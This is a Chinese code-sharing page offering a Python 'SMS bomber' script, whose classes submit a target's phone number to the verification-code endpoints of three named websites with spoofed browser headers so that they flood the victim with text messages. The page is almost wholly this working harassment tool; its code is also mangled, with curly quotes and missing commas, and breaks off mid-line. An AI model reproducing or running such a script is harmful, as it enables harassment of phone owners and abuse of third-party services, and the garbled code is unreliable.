• 大小: 0.01M
    文件类型: .py
    金币: 2
    下载: 1 次
    发布日期: 2021-06-06
  • 语言: Python
  • 标签: 其他  

资源简介

Python手机短信轰炸.py

资源截图

代码片段和文件信息

#更多Python学习资料以及源码教程资料,可以加群821460695 免费获取
import requests
import time
import json
class SMSsend_one(object):
    def __init__(selfmobile):
        self.url = “http://bbs.mydigit.cn/registe.php“
        self.header = {
            “Referer“: “http: // bbs.mydigit.cn / registe.php“
            ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0‘
        }
        self.mobile = mobile

    def get_response(self):
        data = {
            “action“: “auth“
            “step“: “1“
            “mobile“: self.mobile
        }

        try:
            response = requests.post(url=self.url data=dataheaders=self.header)
            # print(response.content)
            print(“{}:{}>>>发送成功“.format(self.urlself.mobile))
        except Exception:
            print(“{}:{}>>>发送失败“.format(self.urlself.mobile))

    def run(self):
        self.get_response()


class SMSsend_two(object):
    “““世界经理人短信接口“““

    def __init__(selfmobile):
        self.url = “https://login.ceconline.com/thirdPartLogin.do“
        self.header = {
            “Referer“: “https://login.ceconline.com/pcMobileNumberRegister.do“
            ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0‘
        }
        self.mobile = mobile

    def get_response(self):

        time_now = int(time.time() * 1000)

        data = {
            “mobileNumber“: self.mobile
            “method“: “getDynamicCode“
            “verifyType“: “MOBILE_NUM_REG“
            “captcharType“: ““
            “time“: str(time_now)
        }

        try:
            response = requests.post(url=self.url
                                     data=data
                                     headers=self.header
                                     )
            # print(response.content)
            print(“{}:{}>>>发送成功“.format(self.urlself.mobile))
        except Exception:
            print(“{}:{}>>>发送失败“.format(self.urlself.mobile))

    def run(self):
        self.get_response()


class SMSsend_three(object):
    “““南通市机动车短信接口“““

    def __init__(selfmobile):
        self.url = “http://www.ntjxj.com/InternetWeb/SendYzmServlet“
        self.header = {
            “Referer“: “http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp“
            ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0‘
        }
        self.mobile = mobile

    def get_response(self):

        data = {
            “sjhm“: self.mobile
        }

        try:
            response = requests.post(url=self.url
                                     data=data
                                     headers=self.header
                                     )
            # print(response.content)
            print(“{}:{}>>>发送成功“.format(self.urlself.mobile))
        except Exception:
            print(“{}:{}>>>发送失败“.format

评论

共有 条评论